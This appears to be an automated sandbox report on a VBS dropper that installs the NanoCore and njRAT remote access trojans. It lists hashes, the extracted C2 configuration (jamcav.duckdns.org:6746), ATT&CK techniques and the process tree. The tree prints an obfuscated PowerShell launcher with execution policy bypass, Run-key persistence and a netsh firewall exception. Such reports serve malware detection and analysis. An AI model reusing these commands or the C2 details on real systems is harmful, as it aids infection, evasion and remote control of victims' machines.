nanocore | 8d8c15469072ede8e80eb85c7f3ef44ba53778831c28dab5a6562a0672b1bc72

General

Target

N2K18_Payment_Copy.vbs
Size

2KB
MD5

76d64bdec97716fc5db19bf4d9fd3255
SHA1

35f62e6cc17c8bc982db07c556216d98fd600c02
SHA256

8d8c15469072ede8e80eb85c7f3ef44ba53778831c28dab5a6562a0672b1bc72
SHA512

d38a1e31a96267bb7706b4e072c6c383bb26eb2e065b0b6e5b6c178ac87cc0115d2a2f88ec5ab71a93364197e1eefff0e3c3cb87a50b636607e2026b962c90f9

Score

10^/10

nanocore njrat hacked evasion keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

jamcav.duckdns.org:6746

Mutex

9bb8b571-1a08-4fb2-8447-a1da0968f2fa

Attributes

activate_away_mode
true
backup_connection_host
jamcav.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-08-20T15:54:30.577245636Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
6746
default_group
jam
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
jamcav.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 524 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

GoogleCrashHandler.exe

pid process

2968 GoogleCrashHandler.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
9	524	powershell.exe

pid	process
2968	GoogleCrashHandler.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

jsc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 524 set thread context of 4024	524	powershell.exe	jsc.exe
PID 524 set thread context of 2328	524	powershell.exe	jsc.exe
PID 524 set thread context of 972	524	powershell.exe	jsc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 23 IoCs

Processes:

powershell.exepowershell.exejsc.exe

pid	process
3068	powershell.exe
3068	powershell.exe
3068	powershell.exe
524	powershell.exe
524	powershell.exe
524	powershell.exe
524	powershell.exe
524	powershell.exe
524	powershell.exe
524	powershell.exe
524	powershell.exe
524	powershell.exe
524	powershell.exe
524	powershell.exe
4024	jsc.exe
4024	jsc.exe
4024	jsc.exe
4024	jsc.exe
4024	jsc.exe
4024	jsc.exe
4024	jsc.exe
4024	jsc.exe
4024	jsc.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

jsc.exe

pid process

4024 jsc.exe

pid	process
4024	jsc.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exepowershell.exejsc.exejsc.exe

description	pid	process
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	524	powershell.exe
Token: SeDebugPrivilege	4024	jsc.exe
Token: SeDebugPrivilege	972	jsc.exe
Token: 33	972	jsc.exe
Token: SeIncBasePriorityPrivilege	972	jsc.exe
Token: 33	972	jsc.exe
Token: SeIncBasePriorityPrivilege	972	jsc.exe
Token: 33	972	jsc.exe
Token: SeIncBasePriorityPrivilege	972	jsc.exe
Token: 33	972	jsc.exe
Token: SeIncBasePriorityPrivilege	972	jsc.exe
Token: 33	972	jsc.exe
Token: SeIncBasePriorityPrivilege	972	jsc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

jsc.exe

pid process

2328 jsc.exe

pid	process
2328	jsc.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

WScript.exepowershell.exepowershell.exejsc.exejsc.exe

description	pid	process	target process
PID 2516 wrote to memory of 3068	2516	WScript.exe	powershell.exe
PID 2516 wrote to memory of 3068	2516	WScript.exe	powershell.exe
PID 3068 wrote to memory of 524	3068	powershell.exe	powershell.exe
PID 3068 wrote to memory of 524	3068	powershell.exe	powershell.exe
PID 524 wrote to memory of 1248	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 1248	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 1248	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 1448	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 1448	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 1448	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 956	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 956	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 956	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 4024	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 4024	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 4024	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 4024	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 4024	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 4024	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 4024	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 4024	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2508	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2508	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2508	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2328	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2328	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2328	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2328	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2328	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2328	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2328	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 2328	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 972	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 972	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 972	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 972	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 972	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 972	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 972	524	powershell.exe	jsc.exe
PID 524 wrote to memory of 972	524	powershell.exe	jsc.exe
PID 2328 wrote to memory of 2968	2328	jsc.exe	GoogleCrashHandler.exe
PID 2328 wrote to memory of 2968	2328	jsc.exe	GoogleCrashHandler.exe
PID 2328 wrote to memory of 2968	2328	jsc.exe	GoogleCrashHandler.exe
PID 972 wrote to memory of 1876	972	jsc.exe	netsh.exe
PID 972 wrote to memory of 1876	972	jsc.exe	netsh.exe
PID 972 wrote to memory of 1876	972	jsc.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\N2K18_Payment_Copy.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $cc = 'by------------s'.Replace('------------','pas');$bb = '-ex++++++++++++++++icy'.Replace('++++++++++++++++','ecutionpol');$aa = '-no--------------le'.Replace('--------------','profi');$dd = 'C:\Us<<<<<<<<<>>>>>>>>>ar.ps1'.Replace('<<<<<<<<<>>>>>>>>>','ers\Public\Downloads\HB');$Run = 'Powers-----------------dd'.Replace('-----------------','hell $aa $bb $cc -file $');($Run -Join '')|&('I'+'eX')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -file C:\Users\Public\Downloads\HBar.ps1
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:524

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
PID:1248

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
PID:1448

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
PID:956

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:4024

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
PID:2508

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2328

C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
"C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe"
5⤵
- Executes dropped EXE
PID:2968

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:972

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" "jsc.exe" ENABLE
5⤵
PID:1876

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
c3563fdebacc45cb24cdce8971e119e4

SHA1
902be9a12340953ffe25296db00c19ade53af25c

SHA256
ef996c1e346d5f785ed4d1d9c8f6bd889051ca256bbdca8baaf616110b9cde54

SHA512
f1ea0aa15d5ab941fc50a64da113b60a413e36d85761d4d6c7c1c99505bd9ce9d74c892b0fed18a170d1965fedc2da2eb756a4a49b95301c3d7398ab9ba9aa61

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Public\Downloads\HBar.ps1
MD5
b1da375f7fc47b6e7f441a44b1925371

SHA1
336132bf0096ad8fa877cf25978e9bb2b911554e

SHA256
51b7e07f22110272589c03f523256f454274605cc41ed5847448b9c0bf62e4bd

SHA512
d9861c341b1ae91647d51053b93291ca5862de418a5a42ac56c765e19abb7cf9f5c29bc6e72c1789c3921481f13a0498c1d329dbc68a39c8d8db5b59652f7248

Download Submit
memory/524-166-0x00000268396F0000-0x00000268396F4000-memory.dmp

Filesize
16KB

Download
memory/524-145-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/524-151-0x00000268377A3000-0x00000268377A5000-memory.dmp

Filesize
8KB

Download
memory/524-149-0x00000268377A0000-0x00000268377A2000-memory.dmp

Filesize
8KB

Download
memory/524-150-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/524-141-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/524-146-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/524-155-0x00000268377A6000-0x00000268377A8000-memory.dmp

Filesize
8KB

Download
memory/524-144-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/524-143-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/524-136-0x0000000000000000-mapping.dmp

Download
memory/524-137-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/524-138-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/524-139-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/524-140-0x0000026837790000-0x0000026837792000-memory.dmp

Filesize
8KB

Download
memory/972-191-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/972-216-0x0000000005830000-0x0000000005D2E000-memory.dmp

Filesize
5.0MB

Download
memory/972-192-0x000000000040BBCE-mapping.dmp

Download
memory/1876-215-0x0000000000000000-mapping.dmp

Download
memory/2328-178-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/2328-204-0x00000000053A0000-0x000000000589E000-memory.dmp

Filesize
5.0MB

Download
memory/2328-186-0x0000000005300000-0x0000000005301000-memory.dmp

Filesize
4KB

Download
memory/2328-185-0x0000000005260000-0x0000000005261000-memory.dmp

Filesize
4KB

Download
memory/2328-179-0x00000000004123BE-mapping.dmp

Download
memory/2968-211-0x000000007E8A0000-0x000000007E8A1000-memory.dmp

Filesize
4KB

Download
memory/2968-206-0x0000000000000000-mapping.dmp

Download
memory/3068-125-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/3068-201-0x000001EF2FEF6000-0x000001EF2FEF8000-memory.dmp

Filesize
8KB

Download
memory/3068-131-0x000001EF2FEF3000-0x000001EF2FEF5000-memory.dmp

Filesize
8KB

Download
memory/3068-123-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/3068-124-0x000001EF2FF30000-0x000001EF2FF31000-memory.dmp

Filesize
4KB

Download
memory/3068-130-0x000001EF2FEF0000-0x000001EF2FEF2000-memory.dmp

Filesize
8KB

Download
memory/3068-132-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/3068-118-0x0000000000000000-mapping.dmp

Download
memory/3068-126-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/3068-122-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/3068-121-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/3068-129-0x000001EF4A510000-0x000001EF4A511000-memory.dmp

Filesize
4KB

Download
memory/3068-120-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/3068-127-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/3068-128-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/3068-119-0x000001EF2E470000-0x000001EF2E472000-memory.dmp

Filesize
8KB

Download
memory/4024-205-0x00000000054C0000-0x00000000059BE000-memory.dmp

Filesize
5.0MB

Download
memory/4024-174-0x000000000041E792-mapping.dmp

Download
memory/4024-214-0x00000000054C0000-0x00000000059BE000-memory.dmp

Filesize
5.0MB

Download
memory/4024-184-0x00000000059C0000-0x00000000059C1000-memory.dmp

Filesize
4KB

Download
memory/4024-173-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads